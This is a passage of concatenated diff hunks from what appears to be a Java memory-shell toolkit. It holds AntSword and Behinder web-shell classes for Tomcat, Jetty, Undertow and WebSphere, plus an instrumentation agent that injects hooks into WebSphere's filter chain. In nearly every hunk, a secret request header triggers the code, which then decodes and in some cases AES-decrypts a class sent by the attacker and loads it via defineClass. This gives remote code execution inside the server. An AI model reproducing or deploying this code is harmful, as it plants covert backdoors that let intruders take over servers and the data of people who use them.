if (value >= -1 && value <= 5) {
mv.visitInsn(Opcodes.ICONST_0 + value);
} else if (value >= Byte.MIN_VALUE && value <= Byte.MAX_VALUE) {
mv.visitIntInsn(Opcodes.BIPUSH, value);
} else if (value >= Short.MIN_VALUE && value <= Short.MAX_VALUE) {
mv.visitIntInsn(Opcodes.SIPUSH, value);
} else {
mv.visitLdcInsn(new Integer(value));
}
}
private int getArgIndex(final int arg) {
int index = 1;
for (int i = 0; i < arg; i++) {
index += argumentTypes[i].getSize();
}
return index;
}
}
@SuppressWarnings("all")
public static byte[] decodeBase64(String base64Str) {
Class<?> decoderClass;
try {
decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
} catch (Exception ignored) {
try {
decoderClass = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
} catch (Exception e) {
throw new RuntimeException(e);
}
}
}
@SuppressWarnings("all")
public static byte[] gzipDecompress(byte[] compressedData) {
ByteArrayOutputStream out = new ByteArrayOutputStream();
GZIPInputStream gzipInputStream = null;
try {
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
byte[] buffer = new byte[4096];
int n;
while ((n = gzipInputStream.read(buffer)) > 0) {
out.write(buffer, 0, n);
}
return out.toByteArray();
} catch (Exception e) {
throw new RuntimeException(e);
} finally {
try {
if (gzipInputStream != null) {
gzipInputStream.close();
}
out.close();
} catch (Exception ignored) {
}
}
}
@SuppressWarnings("all")
public void defineTargetClass(ClassLoader loader) {
try {
loader.loadClass(getClassName());
return;
} catch (ClassNotFoundException ignored) {
}
byte[] classBytecode = gzipDecompress(decodeBase64(getBase64String()));
try {
java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
defineClass.invoke(loader, classBytecode, 0, classBytecode.length);
} catch (Exception ignored) {
}
}
}
@@ -1,97 +0,0 @@
package com.reajason.javaweb.memshell.injector.websphere;
import org.objectweb.asm.*;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.Instrumentation;
import java.lang.reflect.Constructor;
import java.security.ProtectionDomain;
/**
* @author ReaJason
* @since 2025/3/26
*/
public class WebSphereFilterChainAgentWithAsmInjector implements ClassFileTransformer {
private static final String TARGET_CLASS = "com/ibm/ws/webcontainer/filter/WebAppFilterManager";
private static final String TARGET_METHOD_NAME = "doFilter";
static Constructor<?> constructor = null;
static {
try {
Class<?> clazz = Class.forName(getClassName());
constructor = clazz.getConstructors()[0];
constructor.setAccessible(true);
} catch (Exception e) {
e.printStackTrace();
}
}
public WebSphereFilterChainAgentWithAsmInjector() {
}
@Override
public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined,
ProtectionDomain protectionDomain, byte[] bytes) {
if (TARGET_CLASS.equals(className)) {
try {
ClassReader cr = new ClassReader(bytes);
ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) {
@Override
protected ClassLoader getClassLoader() {
return loader;
}
};
ClassVisitor cv = getClassVisitor(cw);
cr.accept(cv, ClassReader.EXPAND_FRAMES);
return cw.toByteArray();
} catch (Exception e) {
e.printStackTrace();
}
}
return bytes;
}
public static String getClassName() {
return "{{advisorName}}";
}
public static ClassVisitor getClassVisitor(ClassVisitor cv) {
return new ClassVisitor(Opcodes.ASM9, cv) {
@Override
public MethodVisitor visitMethod(int access, String name, String descriptor,
String signature, String[] exceptions) {
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
if (TARGET_METHOD_NAME.equals(name)) {
try {
Type[] argumentTypes = Type.getArgumentTypes(descriptor);
return (MethodVisitor) constructor.newInstance(mv, argumentTypes);
} catch (Exception e) {
e.printStackTrace();
}
}
return mv;
}
};
}
public static void premain(String args, Instrumentation inst) throws Exception {
launch(inst);
}
public static void agentmain(String args, Instrumentation inst) throws Exception {
launch(inst);
}
private static void launch(Instrumentation inst) throws Exception {
System.out.println("MemShell Agent is starting");
inst.addTransformer(new WebSphereFilterChainAgentWithAsmInjector(), true);
for (Class<?> allLoadedClass : inst.getAllLoadedClasses()) {
String name = allLoadedClass.getName();
if (TARGET_CLASS.replace("/", ".").equals(name)) {
inst.retransformClasses(allLoadedClass);
}
}
System.out.println("MemShell Agent is working at com.ibm.ws.webcontainer.filter.WebAppFilterManager.doFilter");
}
}
@@ -0,0 +1,116 @@
package com.reajason.javaweb.memshell.shelltool.antsword;
import java.lang.reflect.Field;
/**
* @author ReaJason
*/
public class AntSword extends ClassLoader {
public static String pass;
public static String headerName;
public static String headerValue;
@SuppressWarnings("all")
public Class<?> g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
public AntSword() {
}
public AntSword(ClassLoader c) {
super(c);
}
@Override
public boolean equals(Object obj) {
Object[] args = ((Object[]) obj);
Object request = unwrapRequest(args[0]);
Object response = unwrapResponse(args[1]);
try {
String value = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, headerName);
if (value != null && value.contains(headerValue)) {
String parameter = (String) request.getClass().getMethod("getParameter", String.class).invoke(request, pass);
byte[] bytes = base64Decode(parameter);
Object instance = (new AntSword(Thread.currentThread().getContextClassLoader())).g(bytes).newInstance();
instance.equals(new Object[]{request, response});
return true;
}
} catch (Throwable e) {
e.printStackTrace();
}
return false;
}
@SuppressWarnings("all")
public static byte[] base64Decode(String bs) {
byte[] value = null;
Class<?> base64;
try {
base64 = Class.forName("java.util.Base64", false, Thread.currentThread().getContextClassLoader());
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
} catch (Exception var6) {
try {
base64 = Class.forName("sun.misc.BASE64Decoder", false, Thread.currentThread().getContextClassLoader());
Object decoder = base64.newInstance();
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
} catch (Exception ignored) {
}
}
return value;
}
public Object unwrapRequest(Object request) {
Object internalRequest = request;
while (true) {
try {
Object r = getFieldValue(request, "request");
if (r == internalRequest) {
return r;
} else {
internalRequest = r;
}
} catch (Exception e) {
return internalRequest;
}
}
}
public Object unwrapResponse(Object response) {
Object internalResponse = response;
while (true) {
try {
Object r = getFieldValue(response, "response");
if (r == internalResponse) {
return r;
} else {
internalResponse = r;
}
} catch (Exception e) {
return internalResponse;
}
}
}
@SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws Exception {
Field field = null;
Class<?> clazz = obj.getClass();
while (clazz != Object.class) {
try {
field = clazz.getDeclaredField(name);
break;
} catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
}
}
if (field == null) {
throw new NoSuchFieldException(name);
} else {
field.setAccessible(true);
return field.get(obj);
}
}
}
@@ -35,7 +35,7 @@ public class AntSwordFilter extends ClassLoader implements Filter {
try {
if (request.getHeader(this.headerName) != null && request.getHeader(this.headerName).contains(this.headerValue)) {
byte[] bytes = base64Decode(request.getParameter(pass));
Object instance = (new AntSwordFilter(this.getClass().getClassLoader())).g(bytes).newInstance();
Object instance = (new AntSwordFilter(Thread.currentThread().getContextClassLoader())).g(bytes).newInstance();
instance.equals(new Object[]{request, response});
} else {
filterChain.doFilter(servletRequest, servletResponse);
@@ -1,47 +0,0 @@
package com.reajason.javaweb.memshell.shelltool.antsword;
import net.bytebuddy.asm.Advice;
import java.lang.reflect.Method;
/**
* @author ReaJason
*/
public class AntSwordFilterChainAdvisor {
@Advice.OnMethodEnter(skipOn = Advice.OnNonDefaultValue.class)
public static boolean enter(
@Advice.Argument(value = 0) Object request,
@Advice.Argument(value = 1) Object response
) {
String pass = "pass";
String headerName = "headerName";
String headerValue = "headerValue";
try {
String value = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, headerName);
if (value != null && value.contains(headerValue)) {
byte[] data = null;
Class<?> base64;
String parameter = (String) request.getClass().getMethod("getParameter", String.class).invoke(request, pass);
try {
base64 = Class.forName("java.util.Base64", true, Thread.currentThread().getContextClassLoader());
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
data = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, parameter);
} catch (Exception var6) {
base64 = Class.forName("sun.misc.BASE64Decoder", true, Thread.currentThread().getContextClassLoader());
Object decoder = base64.newInstance();
data = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, parameter);
}
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class<?> payload = (Class<?>) defineClass.invoke(Thread.currentThread().getContextClassLoader(), data, 0, data.length);
Object instance = payload.newInstance();
instance.equals(new Object[]{request, response});
return true;
}
} catch (Exception e) {
e.printStackTrace();
}
return false;
}
}
@@ -0,0 +1,82 @@
package com.reajason.javaweb.memshell.shelltool.antsword;
/**
* @author ReaJason
*/
public class AntSwordJettyHandler extends ClassLoader {
public static String pass;
public static String headerName;
public static String headerValue;
@SuppressWarnings("all")
public Class<?> g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
public AntSwordJettyHandler() {
}
public AntSwordJettyHandler(ClassLoader c) {
super(c);
}
@Override
public boolean equals(Object obj) {
Object[] args = ((Object[]) obj);
Object baseRequest = null;
Object request = null;
Object response = null;
if (args.length == 4) {
Object arg4 = args[3];
baseRequest = args[1];
if (arg4 instanceof Integer) {
// jetty6
request = args[1];
response = args[2];
} else {
request = args[2];
response = args[3];
}
} else {
// ee10
request = args[0];
response = args[1];
}
try {
String value = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, headerName);
if (value != null && value.contains(headerValue)) {
if (baseRequest != null) {
baseRequest.getClass().getMethod("setHandled", boolean.class).invoke(baseRequest, true);
}
String parameter = (String) request.getClass().getMethod("getParameter", String.class).invoke(request, pass);
byte[] bytes = base64Decode(parameter);
Object instance = (new AntSwordJettyHandler(Thread.currentThread().getContextClassLoader())).g(bytes).newInstance();
instance.equals(new Object[]{request, response});
return true;
}
} catch (Throwable e) {
e.printStackTrace();
}
return false;
}
@SuppressWarnings("all")
public static byte[] base64Decode(String bs) {
byte[] value = null;
Class<?> base64;
try {
base64 = Class.forName("java.util.Base64");
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
} catch (Exception var6) {
try {
base64 = Class.forName("sun.misc.BASE64Decoder");
Object decoder = base64.newInstance();
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
} catch (Exception ignored) {
}
}
return value;
}
}
@@ -58,7 +58,7 @@ public class AntSwordListener extends ClassLoader implements ServletRequestListe
&& request.getHeader(headerName).contains(headerValue)) {
HttpServletResponse response = getResponseFromRequest(request);
byte[] bytes = base64Decode(request.getParameter(pass));
Object instance = (new AntSwordListener(this.getClass().getClassLoader())).g(bytes).newInstance();
Object instance = (new AntSwordListener(Thread.currentThread().getContextClassLoader())).g(bytes).newInstance();
instance.equals(new Object[]{request, response});
}
} catch (Exception ignored) {
@@ -23,7 +23,7 @@ public class AntSwordServlet extends ClassLoader implements Servlet {
try {
if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
byte[] bytes = base64Decode(request.getParameter(pass));
Object instance = (new AntSwordServlet(this.getClass().getClassLoader())).g(bytes).newInstance();
Object instance = (new AntSwordServlet(Thread.currentThread().getContextClassLoader())).g(bytes).newInstance();
instance.equals(new Object[]{request, response});
}
} catch (Exception ignored) {
@@ -0,0 +1,68 @@
package com.reajason.javaweb.memshell.shelltool.antsword;
/**
* @author ReaJason
*/
public class AntSwordUndertowServletHandler extends ClassLoader {
public static String pass;
public static String headerName;
public static String headerValue;
@SuppressWarnings("all")
public Class<?> g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
public AntSwordUndertowServletHandler() {
}
public AntSwordUndertowServletHandler(ClassLoader c) {
super(c);
}
@Override
public boolean equals(Object obj) {
Object[] args = ((Object[]) obj);
Object servletRequestContext = null;
if (args.length == 2) {
servletRequestContext = args[1];
} else {
servletRequestContext = args[2];
}
try {
Object request = servletRequestContext.getClass().getMethod("getServletRequest").invoke(servletRequestContext);
Object response = servletRequestContext.getClass().getMethod("getServletResponse").invoke(servletRequestContext);
String value = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, headerName);
if (value != null && value.contains(headerValue)) {
String parameter = (String) request.getClass().getMethod("getParameter", String.class).invoke(request, pass);
byte[] bytes = base64Decode(parameter);
Object instance = (new AntSwordUndertowServletHandler(Thread.currentThread().getContextClassLoader())).g(bytes).newInstance();
instance.equals(new Object[]{request, response});
return true;
}
} catch (Throwable e) {
e.printStackTrace();
}
return false;
}
@SuppressWarnings("all")
public static byte[] base64Decode(String bs) {
byte[] value = null;
Class<?> base64;
try {
base64 = Class.forName("java.util.Base64");
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
} catch (Exception var6) {
try {
base64 = Class.forName("sun.misc.BASE64Decoder");
Object decoder = base64.newInstance();
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
} catch (Exception ignored) {
}
}
return value;
}
}
@@ -75,7 +75,7 @@ public class AntSwordValve extends ClassLoader implements Valve {
if (request.getHeader(headerName) != null
&& request.getHeader(headerName).contains(headerValue)) {
byte[] bytes = base64Decode(request.getParameter(pass));
Object instance = (new AntSwordValve(this.getClass().getClassLoader())).g(bytes).newInstance();
Object instance = (new AntSwordValve(Thread.currentThread().getContextClassLoader())).g(bytes).newInstance();
instance.equals(new Object[]{request, response});
return;
}
@@ -1,50 +0,0 @@
package com.reajason.javaweb.memshell.shelltool.antsword.jetty;
import net.bytebuddy.asm.Advice;
import java.lang.reflect.Method;
/**
* @author ReaJason
*/
public class AntSwordHandlerAdvisor {
@Advice.OnMethodEnter(skipOn = Advice.OnNonDefaultValue.class)
public static boolean enter(
@Advice.Argument(value = 1) Object baseRequest,
@Advice.Argument(value = 2) Object request,
@Advice.Argument(value = 3) Object response
) {
String pass = "pass";
String headerName = "headerName";
String headerValue = "headerValue";
try {
String value = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, headerName);
if (value != null
&& value.contains(headerValue)) {
baseRequest.getClass().getMethod("setHandled", boolean.class).invoke(baseRequest, true);
byte[] data = null;
Class<?> base64;
String parameter = (String) request.getClass().getMethod("getParameter", String.class).invoke(request, pass);
try {
base64 = Class.forName("java.util.Base64", true, Thread.currentThread().getContextClassLoader());
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
data = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, parameter);
} catch (Exception var6) {
base64 = Class.forName("sun.misc.BASE64Decoder", true, Thread.currentThread().getContextClassLoader());
Object decoder = base64.newInstance();
data = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, parameter);
}
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class<?> payload = (Class<?>) defineClass.invoke(Thread.currentThread().getContextClassLoader(), data, 0, data.length);
Object instance = payload.newInstance();
instance.equals(new Object[]{request, response});
return true;
}
} catch (Exception e) {
e.printStackTrace();
}
return false;
}
}
@@ -1,55 +0,0 @@
package com.reajason.javaweb.memshell.shelltool.antsword.undertow;
import net.bytebuddy.asm.Advice;
import java.lang.reflect.Method;
/**
* @author ReaJason
*/
public class AntSwordServletInitialHandlerAdvisor {
@Advice.OnMethodEnter(skipOn = Advice.OnNonDefaultValue.class)
public static boolean enter(
@Advice.AllArguments Object[] args
) {
String pass = "pass";
String headerName = "headerName";
String headerValue = "headerValue";
try {
Object servletRequestContext = null;
if (args.length == 2) {
servletRequestContext = args[1];
} else {
servletRequestContext = args[2];
}
Object request = servletRequestContext.getClass().getMethod("getServletRequest").invoke(servletRequestContext);
Object response = servletRequestContext.getClass().getMethod("getServletResponse").invoke(servletRequestContext);
String value = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, headerName);
if (value != null
&& value.contains(headerValue)) {
byte[] data = null;
Class<?> base64;
String parameter = (String) request.getClass().getMethod("getParameter", String.class).invoke(request, pass);
try {
base64 = Class.forName("java.util.Base64", true, Thread.currentThread().getContextClassLoader());
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
data = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, parameter);
} catch (Exception var6) {
base64 = Class.forName("sun.misc.BASE64Decoder", true, Thread.currentThread().getContextClassLoader());
Object decoder = base64.newInstance();
data = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, parameter);
}
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class<?> payload = (Class<?>) defineClass.invoke(Thread.currentThread().getContextClassLoader(), data, 0, data.length);
Object instance = payload.newInstance();
instance.equals(new Object[]{request, response});
return true;
}
} catch (Exception e) {
e.printStackTrace();
}
return false;
}
}
@@ -0,0 +1,164 @@
package com.reajason.javaweb.memshell.shelltool.behinder;
import java.io.BufferedReader;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.security.Key;
import java.util.HashMap;
import java.util.Map;
/**
* @author ReaJason
* @since 2024/12/21
*/
public class Behinder extends ClassLoader {
public static String pass;
public static String headerName;
public static String headerValue;
@SuppressWarnings("all")
public Class<?> g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
public Behinder() {
}
public Behinder(ClassLoader c) {
super(c);
}
@Override
public boolean equals(Object obj) {
Object[] args = ((Object[]) obj);
Object request = unwrapRequest(args[0]);
Object response = unwrapResponse(args[1]);
try {
String value = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, headerName);
if (value != null && value.contains(headerValue)) {
Object session = request.getClass().getMethod("getSession").invoke(request);
session.getClass().getMethod("setAttribute", String.class, Object.class).invoke(session, "u", pass);
Map<String, Object> map = new HashMap<String, Object>(3);
map.put("request", request);
map.put("response", response);
map.put("session", session);
String parameter = ((BufferedReader) request.getClass().getMethod("getReader").invoke(request)).readLine();
byte[] bytes = x(base64Decode(parameter));
Object instance = (new Behinder(Thread.currentThread().getContextClassLoader())).g(bytes).newInstance();
instance.equals(map);
return true;
}
} catch (Throwable e) {
e.printStackTrace();
}
return false;
}
public byte[] x(byte[] s) {
try {
Class<?> cipherClass = Class.forName("javax.crypto.Cipher", true, Thread.currentThread().getContextClassLoader());
Class<?> secretKeySpecClass = Class.forName("javax.crypto.spec.SecretKeySpec", true, Thread.currentThread().getContextClassLoader());
Constructor<?> constructor = secretKeySpecClass.getConstructor(byte[].class, String.class);
Method initMethod = cipherClass.getMethod("init", int.class, Key.class);
Object c = cipherClass.getMethod("getInstance", String.class).invoke(null, "AES");
initMethod.invoke(c, 2, constructor.newInstance(pass.getBytes(), "AES"));
Method doFinalMethod = cipherClass.getMethod("doFinal", byte[].class);
return ((byte[]) doFinalMethod.invoke(c, s));
} catch (Exception ignored) {
return null;
}
}
public Object unwrapRequest(Object request) {
Object internalRequest = request;
while (true) {
try {
Object r = getFieldValue(request, "request");
if (r == internalRequest) {
return r;
} else {
internalRequest = r;
}
} catch (Exception e) {
return internalRequest;
}
}
}
public Object unwrapResponse(Object response) {
Object internalResponse = response;
while (true) {
try {
Object r = getFieldValue(response, "response");
if (r == internalResponse) {
return r;
} else {
internalResponse = r;
}
} catch (Exception e) {
return internalResponse;
}
}
}
@SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws Exception {
Field field = null;
Class<?> clazz = obj.getClass();
while (clazz != Object.class) {
try {
field = clazz.getDeclaredField(name);
break;
} catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
}
}
if (field == null) {
throw new NoSuchFieldException(name);
} else {
field.setAccessible(true);
return field.get(obj);
}
}
@SuppressWarnings("all")
public static byte[] base64Decode(String bs) {
byte[] value = null;
Class<?> base64;
try {
base64 = Class.forName("java.util.Base64", false, Thread.currentThread().getContextClassLoader());
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
} catch (Exception var6) {
try {
base64 = Class.forName("sun.misc.BASE64Decoder", false, Thread.currentThread().getContextClassLoader());
Object decoder = base64.newInstance();
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
} catch (Exception ignored) {
}
}
return value;
}
@SuppressWarnings("all")
public static Object invokeInternalMethod(Object obj, String methodName) {
try {
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
Method method = null;
while (clazz != null && method == null) {
try {
method = clazz.getMethod(methodName);
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
}
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj);
} catch (Exception e) {
throw new RuntimeException("Error invoking method: " + methodName, e);
}
}
}
@@ -1,83 +0,0 @@
package com.reajason.javaweb.memshell.shelltool.behinder;
import net.bytebuddy.asm.Advice;
import java.io.BufferedReader;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
/**
* @author ReaJason
*/
public class BehinderFilterChainAdvisor {
@Advice.OnMethodEnter(skipOn = Advice.OnNonDefaultValue.class)
public static boolean enter(
@Advice.Argument(value = 0) Object request,
@Advice.Argument(value = 1) Object res
) {
String pass = "pass";
String headerName = "headerName";
String headerValue = "headerValue";
try {
String value = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, headerName);
if (value != null
&& value.contains(headerValue)) {
Map<String, Object> obj = new HashMap<String, Object>(3);
obj.put("request", request);
Object response = res;
Field field = null;
Class<?> clazz = obj.getClass();
while (clazz != Object.class) {
try {
field = clazz.getDeclaredField("response");
break;
} catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
}
}
if (field != null) {
field.setAccessible(true);
response = field.get(response);
}
obj.put("response", response);
Object session = request.getClass().getMethod("getSession").invoke(request);
session.getClass().getMethod("setAttribute", String.class, Object.class).invoke(session, "u", pass);
obj.put("session", session);
byte[] data = null;
Class<?> base64;
BufferedReader reader = (BufferedReader) request.getClass().getMethod("getReader").invoke(request);
String parameter = reader.readLine();
try {
base64 = Class.forName("java.util.Base64", true, Thread.currentThread().getContextClassLoader());
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
data = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, parameter);
} catch (Exception var6) {
base64 = Class.forName("sun.misc.BASE64Decoder", true, Thread.currentThread().getContextClassLoader());
Object decoder = base64.newInstance();
data = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, parameter);
}
Class<?> cipherClass = Class.forName("javax.crypto.Cipher", true, Thread.currentThread().getContextClassLoader());
Class<?> secretKeySpecClass = Class.forName("javax.crypto.spec.SecretKeySpec", true, Thread.currentThread().getContextClassLoader());
Class<?> keyClass = Class.forName("java.security.Key", true, Thread.currentThread().getContextClassLoader());
Object cipher = cipherClass.getMethod("getInstance", String.class).invoke(cipherClass, "AES");
Object secretKeySpec = secretKeySpecClass.getConstructor(byte[].class, String.class).newInstance(pass.getBytes(), "AES");
Method cipherInitMethod = cipherClass.getMethod("init", int.class, keyClass);
Method doFinalMethod = cipherClass.getMethod("doFinal", byte[].class);
cipherInitMethod.invoke(cipher, 2, secretKeySpec);
byte[] bytes = (byte[]) doFinalMethod.invoke(cipher, data);
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class<?> payload = (Class<?>) defineClass.invoke(Thread.currentThread().getContextClassLoader(), bytes, 0, bytes.length);
Object instance = payload.newInstance();
instance.equals(obj);
return true;
}
} catch (Exception e) {
e.printStackTrace();
}
return false;
}
}
@@ -0,0 +1,129 @@
package com.reajason.javaweb.memshell.shelltool.behinder;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import java.io.BufferedReader;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
/**
* @author ReaJason
* @since 2024/12/21
*/
public class BehinderJettyHandler extends ClassLoader {
public static String pass;
public static String headerName;
public static String headerValue;
@SuppressWarnings("all")
public Class<?> g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
public BehinderJettyHandler() {
}
public BehinderJettyHandler(ClassLoader c) {
super(c);
}
@Override
public boolean equals(Object obj) {
Object[] args = ((Object[]) obj);
Object baseRequest = null;
Object request = null;
Object response = null;
if (args.length == 4) {
Object arg4 = args[3];
baseRequest = args[1];
if (arg4 instanceof Integer) {
// jetty6
request = args[1];
response = args[2];
} else {
request = args[2];
response = args[3];
}
} else {
// ee10
request = args[0];
response = args[1];
}
try {
String value = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, headerName);
if (value != null && value.contains(headerValue)) {
if (baseRequest != null) {
baseRequest.getClass().getMethod("setHandled", boolean.class).invoke(baseRequest, true);
}
Object session = request.getClass().getMethod("getSession").invoke(request);
session.getClass().getMethod("setAttribute", String.class, Object.class).invoke(session, "u", pass);
Map<String, Object> map = new HashMap<String, Object>(3);
map.put("request", request);
map.put("response", getInternalResponse(response));
map.put("session", session);
Cipher c = Cipher.getInstance("AES");
c.init(2, new SecretKeySpec(pass.getBytes(), "AES"));
BufferedReader reader = (BufferedReader) request.getClass().getMethod("getReader").invoke(request);
String parameter = reader.readLine();
byte[] bytes = c.doFinal(base64Decode(parameter));
Object instance = (new BehinderJettyHandler(this.getClass().getClassLoader())).g(bytes).newInstance();
instance.equals(map);
return true;
}
} catch (Throwable e) {
e.printStackTrace();
}
return false;
}
public Object getInternalResponse(Object response) {
while (true) {
try {
response = getFieldValue(response, "response");
} catch (Exception e) {
return response;
}
}
}
@SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws Exception {
Field field = null;
Class<?> clazz = obj.getClass();
while (clazz != Object.class) {
try {
field = clazz.getDeclaredField(name);
break;
} catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
}
}
if (field == null) {
throw new NoSuchFieldException(name);
} else {
field.setAccessible(true);
return field.get(obj);
}
}
@SuppressWarnings("all")
public static byte[] base64Decode(String bs) {
byte[] value = null;
Class<?> base64;
try {
base64 = Class.forName("java.util.Base64");
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
} catch (Exception var6) {
try {
base64 = Class.forName("sun.misc.BASE64Decoder");
Object decoder = base64.newInstance();
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
} catch (Exception ignored) {
}
}
return value;
}
}
@@ -0,0 +1,114 @@
package com.reajason.javaweb.memshell.shelltool.behinder;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import java.io.BufferedReader;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
/**
* @author ReaJason
* @since 2024/12/21
*/
public class BehinderUndertowServletHandler extends ClassLoader {
public static String pass;
public static String headerName;
public static String headerValue;
@SuppressWarnings("all")
public Class<?> g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
public BehinderUndertowServletHandler() {
}
public BehinderUndertowServletHandler(ClassLoader c) {
super(c);
}
@Override
public boolean equals(Object obj) {
Object[] args = ((Object[]) obj);
Object servletRequestContext = null;
if (args.length == 2) {
servletRequestContext = args[1];
} else {
servletRequestContext = args[2];
}
try {
Object request = servletRequestContext.getClass().getMethod("getServletRequest").invoke(servletRequestContext);
Object response = servletRequestContext.getClass().getMethod("getServletResponse").invoke(servletRequestContext);
String value = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, headerName);
if (value != null && value.contains(headerValue)) {
Object session = request.getClass().getMethod("getSession").invoke(request);
session.getClass().getMethod("setAttribute", String.class, Object.class).invoke(session, "u", pass);
Map<String, Object> map = new HashMap<String, Object>(3);
map.put("request", request);
map.put("response", getInternalResponse(response));
map.put("session", session);
Cipher c = Cipher.getInstance("AES");
c.init(2, new SecretKeySpec(pass.getBytes(), "AES"));
BufferedReader reader = (BufferedReader) request.getClass().getMethod("getReader").invoke(request);
String parameter = reader.readLine();
byte[] bytes = c.doFinal(base64Decode(parameter));
Object instance = (new BehinderUndertowServletHandler(this.getClass().getClassLoader())).g(bytes).newInstance();
instance.equals(map);
return true;
}
} catch (Throwable e) {
e.printStackTrace();
}
return false;
}
public Object getInternalResponse(Object response) {
while (true) {
try {
response = getFieldValue(response, "response");
} catch (Exception e) {
return response;
}
}
}
@SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws Exception {
Field field = null;
Class<?> clazz = obj.getClass();
while (clazz != Object.class) {
try {
field = clazz.getDeclaredField(name);
break;
} catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
}
}
if (field == null) {
throw new NoSuchFieldException(name);
} else {
field.setAccessible(true);
return field.get(obj);
}
}
@SuppressWarnings("all")
public static byte[] base64Decode(String bs) {
byte[] value = null;
Class<?> base64;
try {
base64 = Class.forName("java.util.Base64");
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
} catch (Exception var6) {
try {
base64 = Class.forName("sun.misc.BASE64Decoder");
